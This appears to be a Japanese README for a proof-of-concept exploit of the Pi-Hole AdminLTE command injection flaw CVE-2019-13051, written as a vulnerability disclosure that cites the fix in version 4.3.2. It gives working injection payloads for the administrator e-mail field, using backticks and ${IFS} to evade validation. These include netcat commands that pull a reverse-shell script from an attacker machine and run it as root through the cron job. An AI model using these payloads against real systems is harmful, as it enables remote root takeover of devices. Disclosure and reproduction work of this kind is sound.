pr0tean/cve-2019-13051Pi-Hole AdminLTE コマンドインジェクション (CVE-2019-13051) の概念実証エクスプロイト。メールフィールドインジェクションとcronベースの実行を介してリモートルートアクセスを可能にします。
Pi-Hole バージョン 4.3.2 にはこの脆弱性の修正が含まれています: https://github.com/pi-hole/AdminLTE/pull/974
Pi-Hole 開発チームの素晴らしいプロジェクトと、この脆弱性の報告を非常に簡単にしてくれたことに心から感謝します！
記載された脆弱性を利用して、"AdminLTE" コンポーネントを介して RaspberryPi デバイス（またはアプリケーションが動作しているデバイス/VM）にリモートで root アクセスを取得することが可能です。これを悪用するには、AdminLTE Web インターフェースへの管理アクセス/認証情報が必要です。
より詳細には、正規表現チェックをバイパスし、"Administrator E-mail Address" フィールドに任意のコマンドを注入することが可能です。これらのコマンドは "/etc/pihole/setupVars.conf" に保存され、その後、10分間隔の cron.d ジョブ "/usr/local/bin/pihole updatechecker local" によって root 権限で解析され実行されます。
攻撃者は、コマンド/コード実行のために cron ジョブ "/etc/cron.d/pihole" の10分間隔を待つ必要があります。
以下の詳細と PoC が、問題の検証と再現に役立つことを願います。
Web アプリケーションに認証されると、攻撃者がコマンドを正常に注入するためにバイパスする必要があるいくつかのサーバーサイドのバリデーションがあります。
"savesettings.php" の 499 行目で、ユーザー制御変数 "$adminemail" が内部 PHP 関数 FILTER_VALIDATE_EMAIL に対して評価されますが、そのチェックは比較的弱いものです。
このバリデーションチェックをバイパスし、コマンドインジェクションを証明するには、例えばバックティックのセットを二重引用符で囲み、管理者の電子メールとして次のように入力することが可能です:
"`test>/tmp/poc_proof.txt`"@example.com
10分以内に、"test" を含む root 所有のファイルが root 権限で "/tmp/poc_proof.txt" に作成されます。
さらに意味のある攻撃を行うには、空白文字の制限もバイパスする必要があります（空白は有効な電子メール文字ではなく、FILTER_VALIDATE_EMAIL 関数で捕捉されます）。これには、内部の Linux 変数 ${IFS} が利用されました（ほとんどの Unix OS ではデフォルトで空白文字になります）。
PoC:
*注: これは POSIX シェル文法 (例: &&, || ...) を使用して1行で自動化できます。
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com
HTTP プロキシで検査すると、HTTP リクエストは次のようになります:
cron ジョブが実行されスクリプトを取得するまで10分待つか、再現目的で手動で /usr/local/bin/pihole updatechecker local を実行してください。また、"/etc/pihole/setupVars.conf" (ADMIN_EMAIL 変数に割り当てられていることが確認できます) に注入されたコマンドを検証することもできます。
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
再度10分待つか（または問題再現のために手動で cron スクリプトを実行してください）、攻撃マシン上で root シェルを取得できます。
